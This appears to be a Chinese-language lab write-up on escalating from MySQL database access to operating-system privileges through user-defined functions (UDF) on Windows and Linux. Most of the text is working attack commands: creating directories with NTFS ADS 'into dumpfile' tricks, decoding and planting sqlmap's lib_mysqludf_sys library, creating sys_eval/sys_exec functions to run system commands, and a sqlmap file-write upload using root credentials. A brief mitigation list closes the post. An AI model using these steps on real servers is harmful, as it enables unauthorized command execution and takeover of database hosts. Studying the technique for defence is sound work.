udf提權
UDF(user-defined function)是MySQL的一個拓展接口,也可稱之爲用戶自定義函數,它是用來拓展MySQL的技術手段,可以說是數據庫功能的一種擴展,用戶通過自定義函數來實現在MySQL中無法方便實現的功能,其添加的新函數都可以在SQL語句中調用
原理
UDF提權是利用MYSQL的自定義函數功能,構造特定得DLL將Mysql賬號轉化爲系統system權限
利用條件
可利用於windows系統,linux系統
Windows文件是dll文件;linux裏面的文件是so文件。
①擁有創建和刪除權限,可以將udf.dll寫入到相應目錄的權限
②Mysql版本大於5.1版本
udf.dll文件必須放置於MYSQL安裝目錄下的lib\plugin文件夾下
該目錄默認是不存在的,這就需要到Mysql的安裝目錄,並在安裝目錄下創建lib\plugin文件夾,然後將udf.dll文件導出到plugin目錄即可
(在某些情況下,我們會遇到Can’t open shared library的情況,這時就需要我們把udf.dll導出到lib\plugin目錄下才可以,利用NTFS ADS流來創建文件夾的方法)
select @@basedir; //查找到mysql的目錄
select 'xxx' into dumpfile 'Mysql安裝路徑\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS創建lib目錄
select 'xxx' into dumpfile 'Mysql安裝路徑\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS創建plugin目錄 )
③Mysql版本小於5.1版本
udf.dll文件在Windows2003下放置於c:\windows\system32,在windows2000下放置於c:\winnt\system32
(網絡上有很多關於udf提權的利用腳本)
實驗
windows下
拿到mysql數據庫用戶名密碼之後,登錄到數據庫。查看安裝路徑及plugin目錄路徑(事實並不存在,需要自己創建)
select @@basedir ; //獲取安裝目錄
show variables like "%plugin%"; //尋找mysql安裝路徑
show variables like "%secure_file%"; //查看允許導入的權限爲空則任意路徑可寫
嘗試將secure_file_priv的值改成’’(空值)
用於提權的udf.dll在sqlmap裏可以找到,sqlmap/udf/mysql/windows下邊有32和64兩種
(這裏的位數是mysql的位數,並不是對方系統的位數)
注意踩坑:32位和64位要弄清楚!!一開始我用了64位的一直不行,換了32位才提權成功;但是截圖裏我還是用的64,讀者做實驗的時候請注意了!!
sqlmap裏的udf.dll是經過編碼的,利用的話需要先解碼,解碼的工具就在 sqlmap/extra/cloak/cloak.py
cloak.py -d -i sqlmap目錄\sqlmap\udf\mysql\windows\64(32)\lib_mysqludf_sys.dll
解碼完了,在sqlmap\udf\mysql\windows,32和64文件夾下會生成dll文件
將dll文件寫到mysql的/lib/plugin目錄下
創建函數
create function sys_eval/sys_exec/cmdshel returns string soname "lib_mysqludf_sys.dll";
提權成功後利用創建的方法執行語句
刪除函數
linux下 方法一(實驗圖就不放了,加上上面的就太多了- -)
寫入插件
(網上很多udf提權的編碼,百度、github)
mysql> set @a=unhex('udf十六進制編碼');
mysql> select @a into dumpfile '/usr/lib/mysql/plugin/udf.so';//創建自定義函數,引用方法,成功執行系統命令:
mysql> select * from func; //檢查是否已經有人導出過了
mysql> create function sys_eval returns string soname 'udf.so';
mysql> select sys_eval('whoami'); //提權成功
mysql> drop function sys_eval;// 將函數刪除
linux下 方法二
如果mysql可外連,也可以使用sqlmap進行上傳so文件
sqlmap.py -d "mysql://root:test1234@@192.168.226.128:3306/mysql" --file-write="sqlmap目錄\data\udf\mysql\linux\64\lib_mysqludf_sys.so_" --file-dest="/usr/lib/mysql/plugin/udf.so"
接下來的利用步驟同上
安全防範
(1) 儘量避免提供對外鏈接,通過mysql中的user表進行查看,禁用“%”
(2) 設置複雜的root賬號密碼
(3) 對my.ini設置只讀屬性,設置plugin目錄爲只讀目錄
GOT IT!
******************************************************
小實驗小結,具體測試利用方式需根據具體實踐場景~